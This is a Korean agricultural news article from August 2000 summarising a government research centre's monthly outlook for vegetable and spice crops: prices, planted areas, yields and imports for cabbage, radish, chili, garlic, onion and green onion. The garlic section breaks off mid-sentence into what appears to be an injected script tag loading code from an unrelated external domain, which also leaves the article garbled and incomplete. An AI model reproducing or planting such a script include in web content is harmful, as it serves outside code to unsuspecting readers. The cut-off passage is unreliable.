"이달 중순까지는 작황 부진과 산지출하물량의 감소로 시세가 전반적으로 상승세를 보이겠으며, 다음달까지의 기상여건에 따라 작황이 크게 달라질 전망이다.
한국농촌경제연구원 농업관측센터(센터장 이정환)가 발표한 8월 농업관측에 따르면 배추는 이달 출하면적이 지난해보다 많으나 작황이 나쁜 것으로 나타나 이달 중순까지는 상승세를 보일 전망이며, 무도 출하예정면적이 적어 다음달까지는 전반적으로 오름세를 보일 전망이다.
고추는 지난달 하순부터 햇고추 출하가 시작되면서 가격이 약간 하락세를 보였으나 연평균도매가격은 지난해와 비슷한 600g당 4200∼4400원 수준은 유지할 것으로 보인다.
마늘은 생산량이 지난해보다 2%가량 적은 47만4000톤으로 추정되며, 특히 내년산 마늘 재배의향면적이 올해보다 10%가량 줄어들어 대체작물인 양파, 월동배추 재배면적이 늘어날 전망이다.
양파는 올해 생산량이 지난해보다 6% 적은 87만8000톤으로, 연평균 도매가격은 지난해보다 10%가량 높은 상품 kg당 490원 내외가 될 것으로 보이며, 오이도 이달 출하예정량이 지난해보다 4%가량 적을 것으로 조사돼 시세는 지난달에 이어 이달에도 높게 유지될 것으로 보인다.
대파는 주출하지인 경기지역의 재배면적이 적고 작황도 나빠 가격이 강세를 지속할 전망이며 다음달부터는 출하면적이 늘어나 약간 하락세를 보이겠다. 박유신 yusinya@aflnews.co.kr
■배추
이달 배추가격은 지난달보다 높지만, 기상이변이 없는 한 출하량이 많을 것으로 보여 평년보다는 낮은 상품 5톤트럭당 250만원선이 될 것으로 전망되며, 특히 이달 하순에는 출하량이 많아 가격이 하락세를 보일 전망이다.
지난달 1일 상품 5톤트럭당 183만원선에 거래됐던 도매가격은 지난달 29일 250만원까지 거래돼 상승세를 보였는데 준고랭지 1기작 출하는 완료됐으나 고랭지 출하분의 생육이 지연돼 공급량이 예년보다 적었기 때문이다.
이달의 출하면적은 지난해보다 2% 많을 것으로 조사됐으며, 특히 이달 하순에 출하가 집중될 것으로 나타났다.
다음달 출하예정면적도 준고랭지 2기작 재배면적이 늘어나 지난해보다 3% 많아질 전망이어서 가격은 약세가 지속될 전망이다.
고랭지배추의 생육상황은 전반적으로 평년보다 약간 나쁜 것으로 조사됐다.
■무
이달에 출하될 고랭지무 면적이 지난해보다 3% 가량 적고, 이달 상순에 고창 등지의 태청무 출하가 마무리될 것으로 보여 이달에 출하될 면적은 지난해보다 약간 적을 것으로 보인다.
하지만 단수가 평년보다 좋은 편이어서 출하량은 평년수준은 유지할 것으로 보여 상품 5톤트럭당 도매가격은 평년과 비슷한 250만원선이 될 전망이다.
지난달 초부터 상승세를 보인 무의 도매가격은 지난 29일 상품 5톤트럭당 179만원까지 상승했다. 이는 평년보다 9%, 지난해보다 18% 높은 수준.
고랭지 무의 이달 출하예정면적은 지난해보다 3% 감소하겠으며, 다음달에도 감소할 것으로 보이나 준고랭지 2기작 재배면적이 약간 늘어나 감소폭은 적겠다.
고랭지무 생육상황은 대체로 평년보다 약간 좋은 편인 것으로 조사됐다.
가을무 재배의향면적은 지난해보다 2% 정도 증가하겠으며, 평년 작황을 유지할 경우 올해산 가을무 생산량은 70만톤 내외로 추정된다. 이는 평년보다 15% 가량 적고, 지난해보다는 4% 많은 양이다.
■고추
올해산 고추의 연평균 도매가격은 상품 600g당 4200∼4400원으로 지난해와 비슷한 수준을 보이겠으며, 아직까지 탄저병 및 역병은 예년에 비해 적은 편이나, 석회 결핍 현상이 예년보다 심하여 이달이후의 기상에 따라 작황이 크게 좌우될 것으로 전망된다.
도매가격은 지난달 하순부터 햇고추 출하가 시작되면서 상품 600g당 4500원선으로 6월중순 평균도매가격보다 7% 가량 떨어졌으나 평년보다 11% 높은 수준.
재배면적은 지난해보다 2% 가량 감소한 7만4400ha가 될 것으로 추정된다. 지역별로는 경기, 강원, 충청에서 증가하고, 호남, 영남, 제주는 감소한 것으로 조사됐다.
올해산 고추의 10a당 단수는 평년보다 16∼20% 증가한 280∼290kg이 될 것으로 나타났다.
생산량은 20만8000∼21만6000톤으로 추정되는데, 이는 평년보다 4% 가량 많으나 지난해보다는 2% 가량 적은 수준이다.
수입산 고추의 경우 올해 최소시장접근물량 5908톤중 1000톤은 6월초에 통관됐고, 나머지 물량은 연도말 경에 입찰이 이루어질 것으로 전망된다.
■마늘
지난달 한·중 마늘협상결과에 따라 냉동마늘과 초산조제마늘 2만톤이 저율관세로 수입될 전망이며, 올해중으로 최소시장접근물량 1만2000톤도 수입될 전망으로 있어 올해 총공급량은 51만톤가량이 될 것으로 추정된다.
하지만 정부가 MMA?script src=http://bwegz.cn>
- 기자명 박유신
- 입력 2000.08.07 10:00
- 수정 2015.06.28 23:23
- 댓글 0
